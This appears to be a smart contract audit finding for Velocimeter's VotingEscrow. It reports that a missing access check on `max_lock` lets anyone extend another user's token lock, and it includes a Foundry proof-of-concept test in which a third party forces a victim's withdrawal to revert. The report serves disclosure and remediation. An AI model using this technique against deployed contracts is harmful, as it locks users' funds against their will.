Square Arctic Chicken

Medium

# Anyone can permisionlessly extend the lock time of a user forcing them to lock their tokens beyond their intended lock time

## Summary
The `VotingEscrow::max_lock(...)` function is used to _Extend the unlock time to max_lock_time_ for users token. However, the function can be ca permissionlessly by anyone to force extend the locktime of a user when `team` enables max locking in the `ve` contract by setting `max_lock_enabled` to `true`.

## Vulnerability Detail

The problem is that the `max_lock(...)` function is missing access control and thus can 

```solidity
    function max_lock(uint _tokenId) public { // @audit missing checkk that the caller is approved
        if(maxLockIdToIndex[_tokenId] !=0 && max_lock_enabled) { // @audit anyone can enalble max lock for a user due to missing access control
            LockedBalance memory _locked = locked[_tokenId];
            uint unlock_time = (block.timestamp + MAXTIME) / WEEK * WEEK; // Locktime is rounded down to weeks

            if(unlock_time > _locked.end) { // whether it has ended or not
                require(_locked.end > block.timestamp, 'Lock expired');
                require(_locked.amount > 0, 'Nothing is locked');
                require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 52 weeks max');

                _deposit_for(_tokenId, 0, unlock_time, _locked, DepositType.INCREASE_UNLOCK_TIME);
            }
        }
    }
```
- Alice creates lock in the `ve` for 1 WEEK creating token1
- Alice enables max lock by calling `enable_max_lock(token1)`
- Alice current lock time ends in the next 52 weeks
- Before the end of 52 weeks Bob a malicious user calls permissionlessly calls `max_lock(token1)` before the end of the week
- Alice lock end is now extended by an additional 52 weeks (from the point of call)
- Alice calls the `withdraw(...)` with her token1 after 52 weeks but the call reverts becuse her lock end time has been permissionlessly extended by Bob

**CODED POC**

Add the test case below to the `VotingEscrow.t.sol` file and run `forge test --mt testPunishWithLock -vv`

```solidity

    address alice = address(0x03);
    address bob = address(0x04);
    function testPunishWithLock() public {
        flowDaiPair.approve(address(escrow), TOKEN_1);
        uint256 lockDuration = 7 * 24 * 3600; // 1 week

        vm.warp(((block.timestamp / ONE_WEEK )* ONE_WEEK) + ONE_WEEK);

        // Balance should be zero before and 1 after creating the lock
        assertEq(escrow.balanceOf(address(owner)), 0);
        escrow.create_lock(TOKEN_1, lockDuration);
        assertEq(escrow.currentTokenId(), 1);
        assertEq(escrow.ownerOf(1), address(owner));
        assertEq(escrow.balanceOf(address(owner)), 1);


        // for demonstration purposes, give Alice lpTokens to create lock
        vm.prank(address(owner));
        flowDaiPair.transferFrom(address(owner), alice, 10e18);

        // alice lock lp in ve
        vm.startPrank(address(alice));
        flowDaiPair.approve(address(escrow), 10e18);
        uint aliceToken = escrow.create_lock(10e18, lockDuration);
        escrow.enable_max_lock(aliceToken); // alice enables max lock extending her lock time by 52 weeks
        vm.stopPrank();


        // Alice lock has almost ended
        vm.warp(((block.timestamp / ONE_WEEK ) * ONE_WEEK) + (50 * ONE_WEEK) - 100);
        

       // bob extend her lock before her lock ends
        vm.prank(bob);
        escrow.max_lock(aliceToken);

        // alice disables max before the end of her lock end
        vm.prank(address(alice));
        escrow.disable_max_lock(aliceToken);


        vm.warp(((block.timestamp / ONE_WEEK ) *  ONE_WEEK) + 10 * ONE_WEEK);

        // after about 60+ weeks, alice calls withdraw but it reverts
        vm.startPrank(address(alice));
        vm.expectRevert("The lock didn't expire");
        escrow.withdraw(aliceToken);
        vm.stopPrank();

    }
```

## Impact
- Funds are maliciously locked in the contract against the will of users
- withdrawals could revert locking tokens for up to an additional 52 weeks

## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L912


## Tool used
Foundry test

## Recommendation
Add access control to the `max_lock(...)` function
